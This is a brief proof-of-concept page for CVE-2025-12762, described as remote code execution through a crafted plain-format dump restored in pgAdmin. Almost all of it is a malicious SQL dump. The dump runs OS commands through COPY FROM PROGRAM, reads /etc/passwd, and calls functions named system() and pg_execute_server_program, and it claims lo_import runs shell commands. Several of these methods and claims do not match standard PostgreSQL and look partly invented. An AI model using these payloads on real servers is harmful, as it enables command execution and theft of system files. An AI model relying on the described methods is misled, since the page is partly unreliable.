CVE-2025-12762: pgAdmin PLIAN格式转储恢复远程代码执行漏洞

/* CVE-2025-12762 PoC - pgAdmin PLIAN Format Restore RCE */ /* This PoC demonstrates command injection via PLIAN format dump restore */ -- Malicious PLIAN format dump file content -- The attacker creates a dump file with embedded commands -- Method 1: Using COPY FROM PROGRAM (PostgreSQL 9.3+) -- This command executes OS command during restore CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id > /tmp/pwned.txt && cat /tmp/pwned.txt'; -- Method 2: Using system() function if available SELECT system('whoami'); SELECT system('cat /etc/passwd'); -- Method 3: Using pg_execute_server_program extension SELECT pg_execute_server_program('id', NULL); -- Method 4: Abusing PostgreSQL extensions CREATE EXTENSION IF NOT EXISTS pg_execute_server_program; SELECT * FROM pg_execute_server_program('id', ARRAY['arg1', 'arg2']); -- Method 5: Using lo_import with shell commands SELECT lo_import('/etc/passwd'); -- Cleanup DROP TABLE IF EXISTS cmd_exec;